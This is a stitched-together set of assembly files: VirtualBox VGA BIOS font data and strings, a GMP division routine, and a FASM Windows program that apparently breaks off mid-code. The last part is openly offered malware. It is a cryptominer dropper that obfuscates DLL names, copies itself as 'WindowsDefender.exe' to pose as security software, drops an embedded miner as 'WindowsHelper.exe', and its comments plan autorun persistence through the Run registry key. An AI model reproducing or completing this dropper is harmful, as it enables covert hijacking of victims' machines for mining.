db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 000h, 000h, 000h, 000h, 000h, 0feh, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h
db 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 0d8h, 0d8h, 0d8h, 0dch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 078h, 0cch, 0cch, 0cch, 0d8h, 0cch, 0c6h, 0c6h, 0c6h, 0cch, 000h, 000h, 000h, 000h
db 000h, 000h, 0feh, 0c6h, 0c6h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0feh, 06ch, 06ch, 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 0feh, 0c6h, 060h, 030h, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 0d8h, 0d8h, 070h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0c0h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 07eh, 018h, 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h
db 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 06ch, 06ch, 06ch, 06ch, 0eeh, 000h, 000h, 000h, 000h
db 000h, 000h, 01eh, 030h, 018h, 00ch, 03eh, 066h, 066h, 066h, 066h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 07eh, 0dbh, 0dbh, 0dbh, 07eh, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 003h, 006h, 07eh, 0dbh, 0dbh, 0f3h, 07eh, 060h, 0c0h, 000h, 000h, 000h, 000h
db 000h, 000h, 01ch, 030h, 060h, 060h, 07ch, 060h, 060h, 060h, 030h, 01ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 000h, 07eh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 00ch, 018h, 030h, 060h, 030h, 018h, 00ch, 000h, 07eh, 000h, 000h, 000h, 000h
db 000h, 000h, 00eh, 01bh, 01bh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h, 0d8h, 070h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 07eh, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 00fh, 00ch, 00ch, 00ch, 00ch, 00ch, 0ech, 06ch, 06ch, 03ch, 01ch, 000h, 000h, 000h, 000h
db 000h, 0d8h, 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 070h, 0d8h, 030h, 060h, 0c8h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
_vgafont14alt: ; 0xc79ed LB 0x12d
db 01dh, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 022h
db 000h, 063h, 063h, 063h, 022h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02bh, 000h
db 000h, 000h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 02dh, 000h, 000h
db 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 04dh, 000h, 000h, 0c3h
db 0e7h, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h, 000h, 000h, 054h, 000h, 000h, 0ffh, 0dbh
db 099h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 056h, 000h, 000h, 0c3h, 0c3h, 0c3h
db 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 057h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h
db 0dbh, 0dbh, 0ffh, 066h, 066h, 000h, 000h, 000h, 058h, 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h
db 03ch, 066h, 0c3h, 0c3h, 000h, 000h, 000h, 059h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h
db 018h, 018h, 03ch, 000h, 000h, 000h, 05ah, 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h, 030h, 061h
db 0c3h, 0ffh, 000h, 000h, 000h, 06dh, 000h, 000h, 000h, 000h, 000h, 0e6h, 0ffh, 0dbh, 0dbh, 0dbh
db 0dbh, 000h, 000h, 000h, 076h, 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h
db 000h, 000h, 000h, 077h, 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h
db 000h, 000h, 091h, 000h, 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h
db 000h, 09bh, 000h, 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h
db 09dh, 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 000h, 000h, 000h, 09eh
db 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 0f3h, 000h, 000h, 000h, 0f1h, 000h
db 000h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 000h, 0ffh, 000h, 000h, 000h, 0f6h, 000h, 000h
db 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h
_vgafont16alt: ; 0xc7b1a LB 0x144
db 01dh, 000h, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h
db 000h, 030h, 000h, 000h, 03ch, 066h, 0c3h, 0c3h, 0dbh, 0dbh, 0c3h, 0c3h, 066h, 03ch, 000h, 000h
db 000h, 000h, 04dh, 000h, 000h, 0c3h, 0e7h, 0ffh, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h
db 000h, 000h, 000h, 054h, 000h, 000h, 0ffh, 0dbh, 099h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch
db 000h, 000h, 000h, 000h, 056h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch
db 018h, 000h, 000h, 000h, 000h, 057h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh
db 066h, 066h, 000h, 000h, 000h, 000h, 058h, 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 03ch
db 066h, 0c3h, 0c3h, 000h, 000h, 000h, 000h, 059h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h
db 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 05ah, 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h
db 030h, 060h, 0c1h, 0c3h, 0ffh, 000h, 000h, 000h, 000h, 06dh, 000h, 000h, 000h, 000h, 000h, 0e6h
db 0ffh, 0dbh, 0dbh, 0dbh, 0dbh, 0dbh, 000h, 000h, 000h, 000h, 076h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h, 077h, 000h, 000h, 000h, 000h
db 000h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h, 000h, 000h, 000h, 078h, 000h, 000h, 000h
db 000h, 000h, 0c3h, 066h, 03ch, 018h, 03ch, 066h, 0c3h, 000h, 000h, 000h, 000h, 091h, 000h, 000h
db 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h, 000h, 000h, 09bh, 000h
db 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 09dh
db 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h
db 09eh, 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 066h, 0f3h, 000h, 000h, 000h
db 000h, 0abh, 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 060h, 0ceh, 09bh, 006h, 00ch, 01fh
db 000h, 000h, 0ach, 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 066h, 0ceh, 096h, 03eh, 006h
db 006h, 000h, 000h, 000h
_cga_msr: ; 0xc7c5e LB 0x8
db 02ch, 028h, 02dh, 029h, 02ah, 02eh, 01eh, 029h
_vbebios_copyright: ; 0xc7c66 LB 0x15
db 'VirtualBox VESA BIOS', 000h
_vbebios_vendor_name: ; 0xc7c7b LB 0x13
db 'Oracle Corporation', 000h
_vbebios_product_name: ; 0xc7c8e LB 0x21
db 'Oracle VM VirtualBox VBE Adapter', 000h
_vbebios_product_revision: ; 0xc7caf LB 0x24
db 'Oracle VM VirtualBox Version 5.2.22', 000h
_vbebios_info_string: ; 0xc7cd3 LB 0x2b
db 'VirtualBox VBE Display Adapter enabled', 00dh, 00ah, 00dh, 00ah, 000h
_no_vbebios_info_string: ; 0xc7cfe LB 0x29
db 'No VirtualBox VBE support available!', 00dh, 00ah, 00dh, 00ah, 000h
; Padding 0x1 bytes at 0xc7d27
db 001h
section CONST progbits vstart=0x7d28 align=1 ; size=0x0 class=DATA group=DGROUP
section CONST2 progbits vstart=0x7d28 align=1 ; size=0x0 class=DATA group=DGROUP
; Padding 0x2d8 bytes at 0xc7d28
db 000h, 000h, 000h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 02fh, 068h, 06fh, 06dh, 065h
db 02fh, 06dh, 069h, 063h, 068h, 061h, 065h, 06ch, 02fh, 076h, 062h, 06fh, 078h, 02fh, 062h, 072h
db 061h, 06eh, 063h, 068h, 065h, 073h, 02fh, 056h, 042h, 06fh, 078h, 02dh, 035h, 02eh, 032h, 02fh
db 06fh, 075h, 074h, 02fh, 06ch, 069h, 06eh, 075h, 078h, 02eh, 061h, 06dh, 064h, 036h, 034h, 02fh
db 072h, 065h, 06ch, 065h, 061h, 073h, 065h, 02fh, 06fh, 062h, 06ah, 02fh, 056h, 042h, 06fh, 078h
db 056h, 067h, 061h, 042h, 069h, 06fh, 073h, 033h, 038h, 036h, 02fh, 056h, 042h, 06fh, 078h, 056h
db 067h, 061h, 042h, 069h, 06fh, 073h, 033h, 038h, 036h, 02eh, 073h, 079h, 06dh, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0aeh
|
; Copyright 1999, 2000, 2002 Free Software Foundation, Inc.
;
; This file is part of the GNU MP Library.
;
; The GNU MP Library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public License as
; published by the Free Software Foundation; either version 2.1 of the
; License, or (at your option) any later version.
;
; The GNU MP Library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with the GNU MP Library; see the file COPYING.LIB. If
; not, write to the Free Software Foundation, Inc., 59 Temple Place -
; Suite 330, Boston, MA 02111-1307, USA.
;
; Translation of AT&T syntax code by Brian Gladman
%include "x86i.inc"
%define PARAM_DIVISOR esp+frame+16
%define PARAM_LOW esp+frame+12
%define PARAM_HIGH esp+frame+8
%define PARAM_REMPTR esp+frame+4
%assign frame 0
section .text
global ___gmpn_udiv_qrnnd
%ifdef DLL
export ___gmpn_udiv_qrnnd
%endif
align 8
___gmpn_udiv_qrnnd:
mov eax,[PARAM_LOW]
mov edx,[PARAM_HIGH]
div dword [PARAM_DIVISOR]
mov ecx,[PARAM_REMPTR]
mov [ecx],edx
ret
end
|
; MIT License
;
; Copyright (c) 2021 4B4DB4B3
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all
; copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
; __ ______ ______ _____ ______ ______
;/\ \ /\ __ \ /\ __ \ /\ __-. /\ ___\ /\ == \
;\ \ \____ \ \ \/\ \ \ \ __ \ \ \ \/\ \ \ \ __\ \ \ __< 4B4DB4B3
; \ \_____\ \ \_____\ \ \_\ \_\ \ \____- \ \_____\ \ \_\ \_\
; \/_____/ \/_____/ \/_/\/_/ \/____/ \/_____/ \/_/ /_/
format PE GUI 4.0
entry start
include 'MACRO/STRUCT.inc'
struct FUNC
name rb 30
addr dd ?
ends
section '.b4db4b3' data readable writeable
GetProcAddress dd ?
kernel32 dd ?
kernelTable:
FUNC 'LoadLibraryA', 0
FUNC 'GetModuleFileNameA', 0
FUNC 'GetCurrentProcess', 0
FUNC 'CopyFileA', 0
FUNC 'CreateFileA', 0
FUNC 'WriteFile', 0
FUNC 'CloseHandle', 0
FUNC 'SetFileAttributesA', 0
FUNC 'ExitProcess', 0
kernelTable.count = 9
psapi dd ?
psapiTable:
FUNC 'GetModuleBaseNameA', 0
psapiTable.count = 1
shell32 dd ?
shellTable:
FUNC 'ShellExecuteA', 0
shellTable.count = 1
adv32 dd ?
advTable:
FUNC 'RegOpenKeyA', 0
FUNC 'RegSetValueExA', 0
FUNC 'RegCloseKey', 0
advTable.count = 3
oper db 'open', 0 ; runas = administrator
filename db 'WindowsHelper.exe', 0
filename_loader db 'WindowsDefender.exe', 0
fn_loader_size = $ - filename_loader
autorun db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
keyname db 'WindowsDefender', 0
; USER ENTER
param db 'argument for mining', 0
hFile dd ?
hKey dd ?
mePath db 128 dup(0)
mePath2 db 128 dup(0)
miner file 'miner.bin'
m_size = $ - miner
section '.b4db4b3' code readable executable
start:
call init
; ____________________________________________________________
; | |
; | KERNEL32 INIT |
; |____________________________________________________________|
push kernelTable
push kernelTable.count
push [kernel32]
call initFunctions
; ____________________________________________________________
; | |
; | Load other libraries |
; |____________________________________________________________|
push 0
push 'l000'
sub word[esp+0x1], '0'
push 'i.dl'
push 'psap'
push esp
call [kernelTable+FUNC.addr]
test eax, eax
jz exit
mov [psapi], eax
push 0
push 'dll0'
sub word[esp+0x3], '0'
push 'l32.'
push 'shel'
push esp
call [kernelTable+FUNC.addr]
test eax, eax
jz exit
mov [shell32], eax
push 0
push '.dll'
push 'pi32'
push 'adva'
push esp
call [kernelTable+FUNC.addr]
test eax, eax
jz exit
mov [adv32], eax
; ____________________________________________________________
; | |
; | Other libaries init |
; |____________________________________________________________|
push psapiTable
push psapiTable.count
push [psapi]
call initFunctions
push shellTable
push shellTable.count
push [shell32]
call initFunctions
push advTable
push advTable.count
push [adv32]
call initFunctions
; ____________________________________________________________
; | |
; | Main code start |
; |____________________________________________________________|
push 128
push mePath
push 0
call [kernelTable+1*sizeof.FUNC+FUNC.addr]
call [kernelTable+2*sizeof.FUNC+FUNC.addr]
push 128
push mePath2
push 0
push eax
call [psapiTable+FUNC.addr]
xor ecx, ecx
strcmp: inc ecx
lea eax, [mePath2+ecx]
lea ebx, [filename_loader+ecx]
mov byte al, [eax]
mov byte bl, [ebx]
cmp ecx, fn_loader_size
je succ_strcmp
cmp al, bl
jne err_strcmp
jmp strcmp
err_strcmp:
; ____________________________________________________________
; | |
; | Drop in another file and run |
; |____________________________________________________________|
push filename_loader
push mePath
call [kernelTable+3*sizeof.FUNC+FUNC.addr]
push 0
push 0
push 0
push filename_loader
push oper
push 0
call [shellTable+FUNC.addr]
push 0
call [kernelTable+4*sizeof.FUNC+FUNC.addr]
ret
succ_strcmp:
; ____________________________________________________________
; | |
; | Runned by dropped file |
; | Dropping miner, running him, registering yourself |
; | in autorun |
; |____________________________________________________________|
push 0
push 0
push 1
push 0
push 0x00000002
push 0x40000000
push filename
call [kernelTable+4*sizeof.FUNC+FUNC.addr]
cmp dword[fs:0x34], 0x0
jne skipWrite
mov [hFile], eax
push 0
push 0
push m_size
push miner
push [hFile]
